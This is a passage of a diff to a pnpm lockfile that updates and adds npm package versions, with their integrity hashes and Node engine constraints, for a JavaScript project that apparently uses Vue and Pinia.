sha512-GsGizj2Y1rCWDu6XoEekL3RLilp0voSePurjZIkxL3wlm5o5EC9VpgaP7lrCvjnkuLvzFBQWB3vWB3K5KQTveQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} hasBin: true peerDependencies: jiti: '*' @@ -1158,13 +1358,9 @@ packages: resolution: {integrity: sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - espree@11.1.0: - resolution: {integrity: sha512-WFWYhO1fV4iYkqOOvq8FbqIhr2pYfoDY0kCotMkDeNtGpiGGkZ1iov2u8ydjtgM8yF8rzK7oaTbw2NAzbAbehw==} - engines: {node: ^20.19.0 || ^22.13.0 || >=24} - - esquery@1.6.0: - resolution: {integrity: sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==} - engines: {node: '>=0.10'} + espree@9.6.1: + resolution: {integrity: sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} esquery@1.7.0: resolution: {integrity: sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==} @@ -1181,6 +1377,9 @@ packages: estree-walker@2.0.2: resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} + estree-walker@3.0.3: + resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} + esutils@2.0.3: resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} engines: {node: '>=0.10.0'} @@ -1189,6 +1388,10 @@ packages: resolution: {integrity: sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==} engines: {node: '>= 0.6'} + expect-type@1.3.0: + resolution: {integrity: sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==} + engines: {node: '>=12.0.0'} + express@5.0.0: resolution: {integrity: sha512-V4UkHQc+B7ldh1YC84HCXHwf60M4BOMvp9rkvTUWCK5apqDC1Esnbid4wm6nFyVuDy8XMfETsJw5lsIGBWyo0A==} engines: {node: '>= 18'} @@ -1212,8 +1415,11 @@ packages: fast-uri@3.1.0: resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==} - fastq@1.19.1: - resolution: {integrity: sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==} + fastq@1.20.1: + resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} + + fd-package-json@2.0.0: + resolution: {integrity: sha512-jKmm9YtsNXN789RS/0mSzOC1NUq9mkVd65vbSSVsKdjGvYXBuE4oWe2QOEoFeRmJg+lPuZxpmrfFclNhoRMneQ==} fdir@6.5.0: resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} @@ -1244,8 +1450,8 @@ packages: resolution: {integrity: sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==} engines: {node: '>=16'} - flatted@3.3.3: - resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==} + flatted@3.4.2: + resolution: {integrity: sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==} for-each@0.3.5: resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==} @@ -1255,6 +1461,11 @@ packages: resolution: {integrity: sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==} engines: {node: '>=14'} + formatly@0.3.0: + resolution: {integrity: sha512-9XNj/o4wrRFyhSMJOvsuyMwy8aUfBaZ1VrqHVfohyXf0Sw0e+yfKG+xZaY3arGCOMdwFsqObtzVOc1gU9KiT9w==} + engines: {node: '>=18.3.0'} + hasBin: true + forwarded@0.2.0: resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==} engines: {node: '>= 0.6'} @@ -1294,8 +1505,8 @@ packages: resolution: {integrity: sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==} engines: {node: '>= 0.4'} - get-tsconfig@4.13.0: - resolution: {integrity: sha512-1VKTZJCwBrvbd+Wn3AOgQP/2Av+TfTCOlE4AcRJE72W1ksZXbAx8PPBR9RzgTeSPzlPMHrbANMH3LbltH73wxQ==} + get-tsconfig@4.13.7: + resolution: {integrity: sha512-7tN6rFgBlMgpBML5j8typ92BKFi2sFQvIdpAqLA2beia5avZDrMs0FLZiM5etShWq5irVyGcGMEA1jcDaK7A/Q==} glob-parent@5.1.2: resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} @@ -1311,6 +1522,14 @@ packages: deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me hasBin: true + globals@13.24.0: + resolution: {integrity: sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==} + engines: {node: '>=8'} + + globals@14.0.0: + resolution: {integrity: sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==} + engines: {node: '>=18'} + globals@15.15.0: resolution: {integrity: sha512-7ACyT3wmyp3I61S4fG682L0VA2RGD9otkqGJIwNUMF1SWUombIIk+af1unuDYgMm082aHYwD+mzJvv9Iu8dsgg==} engines: {node: '>=18'} @@ -1333,6 +1552,10 @@ packages: resolution: {integrity: sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==} engines: {node: '>= 0.4'} + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + has-property-descriptors@1.0.2: resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} @@ -1352,9 +1575,8 @@ packages: resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} engines: {node: '>= 0.4'} - he@1.2.0: - resolution: {integrity: sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==} - hasBin: true + hookable@5.5.3: + resolution: {integrity: sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==} http-errors@2.0.0: resolution: {integrity: sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==} @@ -1364,8 +1586,8 @@ packages: resolution: {integrity: sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==} engines: {node: '>= 0.8'} - iconv-lite@0.7.1: - resolution: {integrity: sha512-2Tth85cXwGFHfvRgZWszZSvdo+0Xsqmw8k8ZwxScfcBneNUraK+dxRxRm24nszx80Y0TVio8kKLt5sLE7ZCLlw==} + iconv-lite@0.7.2: + resolution: {integrity: sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==} engines: {node: '>=0.10.0'} ignore@5.3.2: @@ -1375,6 +1597,10 @@ packages: immediate@3.0.6: resolution: {integrity: sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==} + import-fresh@3.3.1: + resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} + engines: {node: '>=6'} + imurmurhash@0.1.4: resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} engines: {node: '>=0.8.19'} @@ -1434,10 +1660,6 @@ packages: resolution: {integrity: sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==} engines: {node: '>= 0.4'} - is-fullwidth-code-point@3.0.0: - resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} - engines: {node: '>=8'} - is-generator-function@1.1.2: resolution: {integrity: sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==} engines: {node: '>= 0.4'} @@ -1501,6 +1723,10 @@ packages: resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==} engines: {node: '>= 0.4'} + is-what@5.5.0: + resolution: {integrity: sha512-oG7cgbmg5kLYae2N5IVd3jm2s+vldjxJzK1pcu9LfpGuQ93MQSzo0okvRna+7y5ifrD+20FE8FvjusyGaz14fw==} + engines: {node: '>=18'} + isarray@1.0.0: resolution: {integrity: sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==} @@ -1510,8 +1736,8 @@ packages: isexe@2.0.0: resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} - jackspeak@4.1.1: - resolution: {integrity: sha512-zptv57P3GpL+O0I7VdMJNBZCu+BPHVQUk55Ft8/QCJjTVxrnJHuVuX/0Bl2A6/+2oyR/ZMEuFKwmzqqZ/U5nPQ==} + jackspeak@4.2.3: + resolution: {integrity: sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg==} engines: {node: 20 || >=22} jiti@1.21.7: @@ -1522,10 +1748,18 @@ packages: resolution: {integrity: sha512-rg9zJN+G4n2nfJl5MW3BMygZX56zKPNVEYYqq7adpmMh4Jn2QNEwhvQlFy6jPVdcod7txZtKHWnyZiA3a0zP7A==} hasBin: true + jiti@2.6.1: + resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==} + hasBin: true + joycon@3.1.1: resolution: {integrity: sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==} engines: {node: '>=10'} + js-yaml@4.1.1: + resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} + hasBin: true + json-buffer@3.0.1: resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==} @@ -1551,6 +1785,14 @@ packages: keyv@4.5.4: resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} + knip@5.70.2: + resolution: {integrity: sha512-LI7DbeVnk7h9+FAet5KzzHNdDwJyqDa2+cn4uQfZYTfpuVjEqtGmYD9r5b9JEuOs4eVkf/7sskNhWXxELm3C/Q==} + engines: {node: '>=18.18.0'} + hasBin: true + peerDependencies: + '@types/node': '>=18' + typescript: '>=5.0.4 <7' + levn@0.4.1: resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} engines: {node: '>= 0.8.0'} @@ -1580,14 +1822,17 @@ packages: lodash.memoize@4.1.2: resolution: {integrity: sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==} + lodash.merge@4.6.2: + resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} + lodash.sortby@4.7.0: resolution: {integrity: sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==} - lodash@4.17.21: - resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} + lodash@4.18.1: + resolution: {integrity: sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==} - lru-cache@11.2.4: - resolution: {integrity: sha512-B5Y16Jr9LB9dHVkh6ZevG+vAbOsNOYCX+sXvFWFu7B3Iz5mijW3zdbMyhsh8ANd2mSWBYdJgnqi+mL7/LrOPYg==} + lru-cache@11.3.2: + resolution: {integrity: sha512-wgWa6FWQ3QRRJbIjbsldRJZxdxYngT/dO0I5Ynmlnin8qy7tC6xYzbcJjtN4wHLXtkbVwHzk0C+OejVw1XM+DQ==} engines: {node: 20 || >=22} magic-string@0.30.21: @@ -1625,24 +1870,27 @@ packages: resolution: {integrity: sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==} engines: {node: '>=18'} - minimatch@10.1.1: - resolution: {integrity: sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ==} - engines: {node: 20 || >=22} + minimatch@10.2.5: + resolution: {integrity: sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==} + engines: {node: 18 || 20 || >=22} - minimatch@3.1.2: - resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} + minimatch@3.1.5: + resolution: {integrity: sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==} - minimatch@9.0.5: - resolution: {integrity: sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==} + minimatch@9.0.9: + resolution: {integrity: sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==} engines: {node: '>=16 || 14 >=14.17'} minimist@1.2.8: resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} - minipass@7.1.2: - resolution: {integrity: sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==} + minipass@7.1.3: + resolution: {integrity: sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==} engines: {node: '>=16 || 14 >=14.17'} + mitt@3.0.1: + resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==} + ms@2.1.2: resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==} @@ -1667,8 +1915,12 @@ packages: resolution: {integrity: sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==} engines: {node: '>= 0.6'} - node-releases@2.0.27: - resolution: {integrity: sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==} + node-exports-info@1.6.0: + resolution: {integrity: sha512-pyFS63ptit/P5WqUkt+UUfe+4oevH+bFeIiPPdfb0pFeYEu/1ELnJu5l+5EcTKYL5M7zaAa7S8ddywgXypqKCw==} + engines: {node: '>= 0.4'} + + node-releases@2.0.37: + resolution: {integrity: sha512-1h5gKZCF+pO/o3Iqt5Jp7wc9rH3eJJ0+nh/CIoiRwjRxde/hAHyLPXYN4V3CqKAbiZPSeJFSWHmJsbkicta0Eg==} normalize-path@3.0.0: resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} @@ -1697,6 +1949,10 @@ packages: resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==} engines: {node: '>= 0.4'} + object.entries@1.1.9: + resolution: {integrity: sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==} + engines: {node: '>= 0.4'} + object.fromentries@2.0.8: resolution: {integrity: sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==} engines: {node: '>= 0.4'} @@ -1709,6 +1965,9 @@ packages: resolution: {integrity: sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==} engines: {node: '>= 0.4'} + obug@2.1.1: + resolution: {integrity: sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ==} + on-finished@2.4.1: resolution: {integrity: sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==} engines: {node: '>= 0.8'} @@ -1724,6 +1983,9 @@ packages: resolution: {integrity: sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==} engines: {node: '>= 0.4'} + oxc-resolver@11.19.1: + resolution: {integrity: sha512-qE/CIg/spwrTBFt5aKmwe3ifeDdLfA2NESN30E42X/lII5ClF8V7Wt6WIJhcGZjp0/Q+nQ+9vgxGk//xZNX2hg==} + p-limit@3.1.0: resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} engines: {node: '>=10'} @@ -1738,6 +2000,10 @@ packages: pako@1.0.11: resolution: {integrity: sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==} + parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + parseurl@1.3.3: resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==} engines: {node: '>= 0.8'} @@ -1756,28 +2022,43 @@ packages: path-parse@1.0.7: resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} - path-scurry@2.0.1: - resolution: {integrity: sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA==} - engines: {node: 20 || >=22} + path-scurry@2.0.2: + resolution: {integrity: sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==} + engines: {node: 18 || 20 || >=22} + + path-to-regexp@8.4.2: + resolution: {integrity: sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==} - path-to-regexp@8.3.0: - resolution: {integrity: sha512-7jdwVIRtsP8MYpdXSwOS0YdD0Du+qOoF/AEPIt88PcCFrZCzx41oxku1jD88hZBwbNUIEfpqvuhjFaMAqMTWnA==} + pathe@2.0.3: + resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==} + + perfect-debounce@1.0.0: + resolution: {integrity: sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA==} picocolors@1.1.1: resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} - picomatch@2.3.1: - resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + picomatch@2.3.2: + resolution: {integrity: sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==} engines: {node: '>=8.6'} - picomatch@4.0.3: - resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} + picomatch@4.0.4: + resolution: {integrity: sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==} engines: {node: '>=12'} pify@2.3.0: resolution: {integrity: sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==} engines: {node: '>=0.10.0'} + pinia@3.0.4: + resolution: {integrity: sha512-l7pqLUFTI/+ESXn6k3nu30ZIzW5E2WZF/LaHJEpoq6ElcLD+wduZoB2kBN19du6K/4FDpPMazY2wJr+IndBtQw==} + peerDependencies: + typescript: '>=4.5.0' + vue: ^3.5.11 + peerDependenciesMeta: + typescript: + optional: true + pirates@4.0.7: resolution: {integrity: sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==} engines: {node: '>= 6'} @@ -1834,8 +2115,8 @@ packages: peerDependencies: postcss: ^8.2.14 - postcss-prefixwrap@1.57.2: - resolution: {integrity: sha512-HKfOJJCFUtZiUu6CaWmxb6JxYZetn8McOuFUa0t4CJ0ZtcxCPlD8COSPu6804xNc4WPBu34BI0h96wkONLd9lQ==} + postcss-prefixwrap@1.51.0: + resolution: {integrity: sha512-PuP4md5zFSY921dUcLShwSLv2YyyDec0dK9/puXl/lu7ZNvJ1U59+ZEFRMS67xwfNg5nIIlPXnAycPJlhA/Isw==} peerDependencies: postcss: '*' @@ -1843,27 +2124,23 @@ packages: resolution: {integrity: sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==} engines: {node: '>=4'} - postcss-selector-parser@7.1.1: - resolution: {integrity: sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==} - engines: {node: '>=4'} - postcss-value-parser@4.2.0: resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} - postcss@8.5.6: - resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} + postcss@8.5.9: + resolution: {integrity: sha512-7a70Nsot+EMX9fFU3064K/kdHWZqGVY+BADLyXc8Dfv+mTLLVl6JzJpPaCZ2kQL9gIJvKXSLMHhqdRRjwQeFtw==} engines: {node: ^10 || ^12 || >=14} prelude-ls@1.2.1: resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} engines: {node: '>= 0.8.0'} - prettier-linter-helpers@1.0.0: - resolution: {integrity: sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==} + prettier-linter-helpers@1.0.1: + resolution: {integrity: 